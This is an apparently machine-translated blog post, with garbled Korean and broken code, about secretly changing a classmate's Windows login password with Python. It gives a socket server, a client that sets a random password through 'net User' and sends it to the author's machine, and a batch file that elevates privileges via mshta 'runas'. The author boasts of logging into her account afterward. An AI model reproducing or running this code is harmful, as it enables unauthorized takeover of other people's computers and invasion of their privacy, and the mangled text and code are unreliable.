파 이 썬 은 이렇게 놀 수 있어 요.파 이 썬 으로 반 꽃 켜 기 비밀 번 호 를 바 꿨 어 요.
![在这里插入图片描述](https://s1.md5.ltd/image/5a00d5cc461cd26b9db7740cc7c0c396.png)
반 화 가 나 에 게 그녀의 전화 가 고 장 났 다 고 말 했다.나 에 게 보 여 줘.그러면 기꺼이 정 의 를 거절 할 수 없어![30 분 동안 신 났 어 요.]다른 거 없어 요.저 는 그냥 기술 을 보 여 드 리 고 싶 어 요!5 분 후에 고 쳤 습 니 다.컴퓨터 가 재 부팅 한 후에 비밀 번 호 를 입력 하 는 것 을 보 여 주 었 습 니 다.그 때 는 별로 생각 하지 않 고 바로 가 고 싶 었 습 니 다.돌아 간 후에 나 는 기술 로 이 켜 진 비밀 번 호 를 원 격 으로 해석 할 수 있 습 니까?한다 면 하 겠 습 니 다.
![在这里插入图片描述](https://s1.md5.ltd/image/16b2e1fac788bbc2088e9ac4258fa5ce.png)
도구 준비
개발 환경:win 10,python 3.7
개발 도구:pycharm
3.프로젝트 사고 분석
원 격 으로 연결 을 만 들 생각 만 하면 링크 를 만 들 생각 만 하면 socket 소켓 이 생각 납 니 다.
![在这里插入图片描述](https://s1.md5.ltd/image/35b1bc691a1b8bf5e3e75dce0f75b04d.png)
이 프로젝트 코드 는 3 부 입 니 다.
우선 정상 적 인 프로 세 스 로 서버 서 비 스 를 만 듭 니 다.
서버 프로 세 스:
소켓 만 들 기
링크 를 기다리다
import socket # socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket
server.bind(('192.168.246.1', 44444)) # IP/
server.listen(5) #
print('*********** *********')
conn, addr = server.accept() #
print(conn)
print(' :', addr)
client_msg = conn.recv(1024)
print(' : %s' % client_msg)
conn.close()
server.close()
windows 의 컴퓨터 비밀 번 호 를 수정 하 라 는 명령:net User 사용자 이름 으로 수 정 된 비밀번호(직접 시도 해 볼 수 있 습 니 다)![在这里插入图片描述](https://s1.md5.ltd/image/cceb738d75a76202cbfd23ffb9f32710.png)
클 라 이언 트 프로 세 스:
소켓 만 들 기
import socket #
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket
client.connect((ip, )) # server IP /
user = getpass.getuser() #
print(user)
psd = ''
for j in range(1, 9): # 1-9
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) # ( cmd )
client.send(psd.encode('utf-8')) # server
back_msg = client.recv(1024)
client.close() # socket
이 단계 에 이 르 면 기본적으로 스스로 시도 할 수 있 습 니 다.그러나 현재 코드 는 admin 의 계 정 만 수정 할 수 있 습 니 다.![在这里插入图片描述](https://s1.md5.ltd/image/e6ee5886cff1ddc118b11c5564e801b5.png)
관리자 가 아 닌 사용 자 는 자신의 실행 권한 을 높 여야 합 니 다.
슈퍼 관리자 권한 으로 cmd 파일 을 직접 실행 합 니 다.
go.cmd
@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
start python client.py
소결마지막 으로 나 는 비밀 번 호 를 수정 하여 로그 인 에 성공 하 였 는데,뜻밖에도 그녀의 비밀 번 호 를 발견 하 였 다!
![在这里插入图片描述](https://s1.md5.ltd/image/bdd16def8332b54122bcb5cfd48a0f21.png)
이 무뚝뚝 하고 멍청 한 CD 는 치 울 줄 도 모 르 고 딱 봐 도 컴퓨터 를 잘 모 르 는 아들 이 야!반 꽃 이 그렇게 예 쁜 데 컴퓨터 를 잘 몰라 서 정말 놀 라 운 발견 이 야!
PS:결국 나 는 아무것도 움 직 이지 않 고 고 쳤 다!
파 이 썬 이 이렇게 놀 수 있 는 지 에 대해 파 이 썬 으로 반 화의 켜 기 비밀 번 호 를 수정 한 글 은 여기까지 소개 되 었 습 니 다.더 많은 파 이 썬 의 비밀번호 수정 내용 은 우리 의 이전 글 을 검색 하거나 아래 의 관련 글 을 계속 찾 아 보 세 요.앞으로 많은 응원 부 탁 드 리 겠 습 니 다!
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Python의 None과 NULL의 차이점 상세 정보그래서 대상 = 속성 + 방법 (사실 방법도 하나의 속성, 데이터 속성과 구별되는 호출 가능한 속성 같은 속성과 방법을 가진 대상을 클래스, 즉 Classl로 분류할 수 있다.클래스는 하나의 청사진과 같아서 하나의 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.